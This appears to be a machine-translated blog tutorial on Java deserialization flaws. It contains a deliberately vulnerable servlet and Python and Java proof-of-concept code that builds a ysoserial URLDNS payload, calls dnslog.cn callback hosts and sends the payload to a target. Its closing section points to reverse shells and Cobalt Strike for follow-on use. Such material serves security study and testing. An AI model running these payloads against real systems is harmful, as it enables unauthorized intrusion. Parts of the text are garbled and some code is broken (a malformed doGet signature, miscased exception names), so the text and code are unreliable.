Analysis of Java deserialization vulnerabilities

Analysis of Java deserialization vulnerabilities

Share topics within the Department and team once, and share them

Deserialization vulnerability history

On November 6, 2015, a blog released by @ breenmachine of foxglove security security team introduced how to use Java deserialization vulnerability to attack the latest version of famous Java applications such as Weblogic, WebSphere, JBoss, Jenkins and openNMS to realize remote code execution.

In fact, however, bloggers are not vulnerability discoverers. As mentioned in the blog, as early as January 28, 2015, Gabriel Lawrence (@ Gebl) and Chris frohoff (@ frohoff) gave a report [5] on appseccali, which introduced the Java deserialization vulnerability, which could use Apache common collections, a common Java library to realize arbitrary code execution. At that time, it did not attract much attention, but in the opinion of the blogger, This is the most underestimated vulnerability in 2015.

Indeed, many Java applications such as Apache commons collections are in use. Once programmers misuse the mechanism of deserialization, user input can be directly deserialized, which can lead to arbitrary code execution. This is an extremely serious problem. Weblogic and other applications with this problem mentioned in the blog may be just the tip of the iceberg.

Although nearly a year has passed since the reports of @ Gebl and @ frohoff, the manufacturers mentioned in @ breenmachine's blog have not been repaired, and domestic technicians still pay less attention to this problem. In order to help you better understand it and avoid and repair these problems as soon as possible, this paper makes an in-depth vulnerability principle and utilization analysis, and finally makes a general statistics on these affected applications all over the world.

Serialization and deserialization mechanism

Serialization is a means to separate Java objects from the Java running environment. It can effectively realize the communication between multiple platforms and object persistent storage.

Java serialization refers to the process of converting Java objects into byte sequences for easy storage in memory, files and databases. The writeobject () method of objectoutputstream class can realize serialization. Deserialization refers to the process of restoring byte sequences to Java objects. The readObject () method of objectinputstream class is used for deserialization.

The premise of serialization is that the object to be serialized must implement Java io. Serializable interface.

Code example:

Write a student class:

package com.company;

import java.io.Serializable;

public class Person implements Serializable {
    private int age;
    private String name;

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Person() {
    }

    public Person(int age,String name) {
        this.age = age;
        this.name = name;
    }
}

Serialization code:

package com.company;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Main {

    public static void main(String[] args) throws IOException {
        Person xiaoming = new Person(18,"xiaoming");
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("1.txt"));

        oss.writeObject(xiaoming);
    }
}

Deserialization Code:

    public static void main(String[] args) throws IOException,ClassNotFoundException {

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
        Person person = (Person)ois.readObject();
        String name = person.getName();
        System.out.println(name);


    }
}

Deserialization vulnerability analysis

In a question thrown earlier, deserialization is clearly a normal mechanism in Java. Why does deserialization vulnerability occur? In fact, in some classes, the readobjeetc method will be overridden. During deserialization, the rewritten readobjetc method calls some other methods, so it may lead to deserialization vulnerabilities. However, it is not able to execute commands directly, but needs to call each other in a constructed malicious class and method until it is called to the runtime method. There is no security problem in the deserialization step, but if the deserialized data is controllable, we can enter malicious code from an input point, and then find out at which point our input will be brought to our trigger point layer by layer. This step is called the step of finding the utilization chain.

Vulnerability demo

import sun.misc.BASE64Decoder;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;


@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request,HttpServletResponse response) throws ServletException,IOException {
        String cookie = request.getParameter("cookie");
        byte[] bytes = new BASE64Decoder().decodeBuffer(cookie);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        try {
            Object o = objectInputStream.readObject();
            System.out.println(o);
        } catch (ClassNotFoundException e) {


        }
    }

    protected void doGet(HttpServletRequest request,IOException {
    this.doPost(request,response);
    }
}

POC compilation ideas

In shiroscan, the urldns chain is also useful. When writing POC, you can write POC with the help of ysoserial tool. In fact, many online POCS use ysoserial to generate payloads.

Ysoserial address: ysoserial

Ysoserial is a well-known Java deserialization tool open source in GitHub, which integrates various Java deserialization payloads;

POC Code:

# -*-* coding:utf-8
# @Time    :  2020/10/16 17:36
# @Author  : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog    :https://www.cnblogs.com/nice0e3/
import subprocess
import requests

def res_data(dnslog_url):
    popen = subprocess.Popen(['java','-jar',"ysoserial.jar",'URLDNS',dnslog_url],shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)

    payload = (popen.stdout.read())
    # print(payload)
    return payload


def send(Address_ip,yso_data):

        res = requests.post(url=Address_ip,data=yso_data)
        if res.status_code == 200:
            print("The request was successful.")
            print("res.status_code")
        else:
            print("error")
            print(res.status_code)


def help():
    print("command: python poc.py dnslog.cn Address_ip ")


def main():
    dnslog_url = "http://sizyq6.dnslog.cn"
    url = 'http://localhost:8080/yt_war_exploded/readServlet'
    payload_data = res_data(dnslog_url)
    # print(payload_data)
    send(url,payload_data)


if __name__ == '__main__':
    main()

Here is just a template demonstration. The code vulnerability points are encrypted through Base64.

Java POC Code:

package com.nice0e3;

import sun.misc.BASE64Encoder;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.MalformedURLException;
import java.net.URISyntaxException;

public class POC {
    public static void main(String[] args) throws ClassNotFoundException,IOException,illegalaccessexception,NoSuchFieldException,URISyntaxException {
        String dns_url = "http://ud4zkj.dnslog.cn";
        String target_url = "http://localhost:8088/web_war_exploded/demoServlet";
        Object o = Generated.Get_URLDNS(dns_url);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(o);
        byte[] bytes = byteArrayOutputStream.toByteArray();
        String encode = new BASE64Encoder().encode(bytes);
        int Status = Requeses.Get(target_url,encode);
        System.out.println(Status);
    }
}


Generated code:


package com.nice0e3;

import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class Generated {

    public static Object Get_URLDNS(String dns_url) throws ClassNotFoundException,MalformedURLException,illegalaccessexception {
        HashMap<URL,String> hashMap = new HashMap<URL,String>();
        URL url = new URL(dns_url);
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url,0xdeadbeef); // 设一个值,这样 put 的时候就不会去查询 DNS
        hashMap.put(url,"url");
        f.set(url,-1);
        return  hashMap;
    }
}


Requests Code:


package com.nice0e3;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.utils.URIBuilder;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;

import java.io.IOException;
import java.net.URISyntaxException;

public class Requeses {
    public static int  Get(String target_url,String payload) throws URISyntaxException,IOException {
        CloseableHttpClient client = HttpClients.createDefault();
        URIBuilder uriBuilder = new URIBuilder(target_url);
        uriBuilder.setParameter("cookie",payload);
        HttpGet httpGet = new HttpGet(uriBuilder.build());
        CloseableHttpResponse response = client.execute(httpGet);
        int statusCode = response.getStatusLine().getStatusCode();

        return statusCode;



    }
}

Here is a PoC vulnerability verification code, which uses the urldns chain to trigger URL requests to verify the existence of deserialization vulnerabilities. In Shiro's tool, a chain actually used is also the urldns chain, which does not depend on a third-party library. However, the use scenario can only be used in an environment that can go out of the network. In actual combat, there are roughly two types: one is a machine that can directly go out of the network, and the other is a machine that cannot go out of the network. When you can get out of the network, you can use dnslog to verify the vulnerability, and then directly execute the rebound shell command when executing the command. After getting the rebound shell, execute the command on CS. There is also a machine that does not go out of the network. In this case, it can only echo the execution of construction commands directly.

Key points of exp writing

Want to write a complete exp tool, for example, which utilization chain is more common in general. Because in the CC1 and CC3 utilization chain

Annotationinvocationhandler is a class to construct a utilization chain. This class modifies the readObject method in the higher version, which makes it impossible to use. What's more, we need to solve the problem of echo. If the machine can't get out of the network, then construct the command execution echo and return the content of the executed command to us. When studying the deserialization vulnerabilities of Weblogic, fastjson and Shiro, we will encounter many problems about echo. The echo methods include defineclass loader echo, urlclassloader exception echo, Tomcat middleware echo, remote loading echo and so on. Of course, if you use a tool, it must be a GUI tool. If you want to develop a GUI, you need to learn the GUI development framework. In fact, the development of GUI and command-line tools is almost the same. It is nothing more than writing an input box to input content, and then obtaining some content in the code, and then executing it.

The content of this article comes from the network collection of netizens. It is used as a learning reference. The copyright belongs to the original author.
THE END
分享
二维码
< <上一篇
下一篇>>